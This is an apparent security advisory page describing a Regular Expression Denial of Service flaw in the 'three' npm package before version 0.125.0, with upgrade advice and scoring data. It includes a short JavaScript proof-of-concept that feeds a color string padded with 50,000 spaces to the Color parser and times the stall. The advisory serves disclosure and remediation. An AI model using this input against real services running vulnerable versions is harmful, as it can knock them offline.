Lucene search

K
nodejsAnonymousNODEJS:1639
HistoryMar 01, 2021 - 8:02 p.m.

Regular Expression Denial of Service

2021-03-0120:02:32
Anonymous
www.npmjs.com
25

0.003 Low

EPSS

Percentile

70.5%

Overview

three before version 0.125.0 is vulnerable to Regular Expression Denial of Service (ReDoS). This can happen when handling rgb or hsl colors.

POC

var three = require('three')

function build_blank (n) {
 var ret = "rgb("
 for (var i = 0; i < n; i++) {
  ret += " "
 }

 return ret + "";
}

var Color = three.Color

var time = Date.now();
new Color(build_blank(50000))
var time_cost = Date.now() - time;
console.log(time_cost+" ms")

Recommendation

Upgrade to version 0.125.0 or later

References

CPENameOperatorVersion
threelt0.125.0

0.003 Low

EPSS

Percentile

70.5%